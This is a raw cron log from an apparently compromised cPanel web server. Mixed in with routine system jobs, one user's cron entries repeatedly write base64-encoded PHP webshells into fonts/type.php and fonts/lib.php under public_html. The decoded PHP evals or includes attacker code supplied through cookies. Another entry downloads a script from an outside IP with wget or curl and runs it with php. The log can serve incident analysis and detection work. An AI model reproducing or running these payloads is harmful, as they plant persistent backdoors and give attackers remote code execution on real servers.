Sep 11 23:40:01 ip-184-168-122-23 CROND[22294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:40:01 ip-184-168-122-23 CROND[22302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:40:01 ip-184-168-122-23 CROND[22301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:41:02 ip-184-168-122-23 CROND[22400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:41:02 ip-184-168-122-23 CROND[22401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:41:02 ip-184-168-122-23 CROND[22403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:41:02 ip-184-168-122-23 CROND[22402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:42:01 ip-184-168-122-23 CROND[22527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:42:01 ip-184-168-122-23 CROND[22529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:42:01 ip-184-168-122-23 CROND[22530]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:42:01 ip-184-168-122-23 CROND[22531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:42:01 ip-184-168-122-23 CROND[22532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:43:01 ip-184-168-122-23 CROND[22625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:43:01 ip-184-168-122-23 CROND[22627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:43:01 ip-184-168-122-23 CROND[22628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:43:01 ip-184-168-122-23 CROND[22629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:44:01 ip-184-168-122-23 CROND[22724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:44:01 ip-184-168-122-23 CROND[22727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:44:01 ip-184-168-122-23 CROND[22728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:44:01 ip-184-168-122-23 CROND[22729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:44:01 ip-184-168-122-23 CROND[22726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:45:01 ip-184-168-122-23 CROND[22905]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:45:01 ip-184-168-122-23 CROND[22907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:45:01 ip-184-168-122-23 CROND[22909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:45:01 ip-184-168-122-23 CROND[22910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:45:01 ip-184-168-122-23 CROND[22911]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:45:01 ip-184-168-122-23 CROND[22908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:46:01 ip-184-168-122-23 CROND[23005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:46:01 ip-184-168-122-23 CROND[23007]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 23:46:01 ip-184-168-122-23 CROND[23009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:46:01 ip-184-168-122-23 CROND[23010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:46:01 ip-184-168-122-23 CROND[23008]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:46:01 ip-184-168-122-23 CROND[23012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:46:01 ip-184-168-122-23 CROND[23013]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 23:47:01 ip-184-168-122-23 CROND[23123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:47:01 ip-184-168-122-23 CROND[23125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:47:01 ip-184-168-122-23 CROND[23127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:47:01 ip-184-168-122-23 CROND[23126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:48:01 ip-184-168-122-23 CROND[23230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:48:01 ip-184-168-122-23 CROND[23235]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:48:01 ip-184-168-122-23 CROND[23234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:48:01 ip-184-168-122-23 CROND[23233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:48:01 ip-184-168-122-23 CROND[23236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:49:01 ip-184-168-122-23 CROND[23334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:49:01 ip-184-168-122-23 CROND[23335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:49:01 ip-184-168-122-23 CROND[23337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:49:01 ip-184-168-122-23 CROND[23336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:50:01 ip-184-168-122-23 CROND[23509]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:50:01 ip-184-168-122-23 CROND[23510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:50:01 ip-184-168-122-23 CROND[23512]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:50:01 ip-184-168-122-23 CROND[23514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:50:01 ip-184-168-122-23 CROND[23513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:50:01 ip-184-168-122-23 CROND[23515]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 23:50:01 ip-184-168-122-23 CROND[23516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:50:01 ip-184-168-122-23 CROND[23521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:50:01 ip-184-168-122-23 CROND[23523]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 23:51:02 ip-184-168-122-23 CROND[23632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:51:02 ip-184-168-122-23 CROND[23630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:51:02 ip-184-168-122-23 CROND[23631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:51:02 ip-184-168-122-23 CROND[23633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:52:01 ip-184-168-122-23 CROND[23729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:52:01 ip-184-168-122-23 CROND[23731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:52:01 ip-184-168-122-23 CROND[23733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
